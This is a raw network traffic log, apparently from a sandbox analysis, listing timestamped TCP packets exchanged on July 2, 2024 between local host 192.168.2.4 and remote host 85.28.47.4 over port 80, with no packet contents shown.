Jul 2, 2024 15:26:06.479198933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.479207993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.479217052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.479223967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.479228020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.479254961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.479264021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.479520082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.479563951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.479574919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.479587078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.479610920 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.479623079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.479779959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.479792118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.479827881 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488259077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488301039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488315105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488323927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488337994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488343954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488357067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488358974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488373041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488378048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488389015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488395929 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488415003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488423109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488493919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488504887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488523006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488531113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488534927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488542080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488555908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488559961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488569975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488569975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488586903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488590956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488603115 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488607883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488626003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488626957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488635063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488660097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488662004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488672972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488692999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488702059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488704920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488718987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488719940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488730907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488739014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488751888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488760948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488770962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488780975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488794088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488810062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488826990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.488976002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.488987923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.489006996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.489013910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.489022017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.489025116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.489042044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.489048004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.489053011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.489063978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.489082098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.489093065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.558480978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.558577061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.558582067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.558595896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.558617115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.558624029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.558630943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.558640957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.558646917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.558656931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.558670044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.558670998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.558687925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.558698893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.559026957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.559039116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.559057951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.559071064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.559072018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.559088945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.559103012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.559108973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.559120893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.559124947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.559149981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.565876961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.565943003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.565970898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.565984011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.566003084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.566006899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.566023111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.566025019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.566035032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.566040993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.566051960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.566059113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.566068888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.566075087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.566087961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.566091061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.566103935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.566112041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.566117048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.566139936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.566143036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.566152096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.566170931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.566174030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.566186905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.566196918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569173098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569238901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569288015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569299936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569318056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569329023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569333076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569348097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569349051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569366932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569367886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569385052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569396019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569406033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569423914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569442034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569444895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569456100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569458961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569468021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569468975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569483042 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569497108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569510937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569518089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569530010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569540024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569540977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569554090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569571018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569576979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569586992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569587946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569605112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569607019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569612980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569622040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569633007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569639921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569652081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569655895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569667101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569674015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569681883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569685936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569705009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569710016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569721937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569726944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569736958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569740057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569752932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569756031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569763899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569777966 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569782972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569793940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569809914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569818974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569818974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569839001 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569839001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569853067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569855928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569870949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569873095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569880962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569894075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569902897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569904089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569921970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569931030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569931984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569951057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569952965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569972992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569972992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.569983006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.569986105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.570004940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.570010900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.570014954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.570031881 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.570034981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.570045948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.570050001 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.570061922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.570065975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.570074081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.570080042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.570095062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.570096016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.570107937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.570115089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.570123911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.570126057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.570147991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.570147991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.570158958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.570168018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.570178986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.570183992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.570193052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.570218086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587384939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587419987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587433100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587447882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587457895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587462902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587495089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587496042 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587507010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587512970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587526083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587527990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587546110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587549925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587558031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587564945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587578058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587580919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587589025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587595940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587608099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587610006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587625027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587629080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587635994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587646008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587657928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587658882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587676048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587678909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587690115 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587696075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587703943 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587712049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587724924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587730885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587745905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587747097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587757111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587764025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587779045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587785959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587793112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587810040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587810993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.587830067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.587842941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.588109016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.588119030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.588136911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.588145971 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.588150024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.588160992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.588167906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.588181019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.588182926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.588198900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.588202000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.588212967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.588217020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.588227987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.588233948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.588243961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.588264942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.647972107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.647994041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.648005962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.648041010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.648051023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.648067951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.648080111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.648082018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.648098946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.648121119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.648119926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.648129940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.648138046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.648154020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.648156881 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.648169994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.648175001 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.648186922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.648196936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.648200989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.648221016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.648240089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.655519962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.655551910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.655579090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.655611038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.655611038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.655623913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.655639887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.655642033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.655642033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.655662060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.655668020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.655677080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.655695915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:06.658852100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.658879042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:06.658898115 CEST	80	49730	85.28.47.4	192.168.2.4
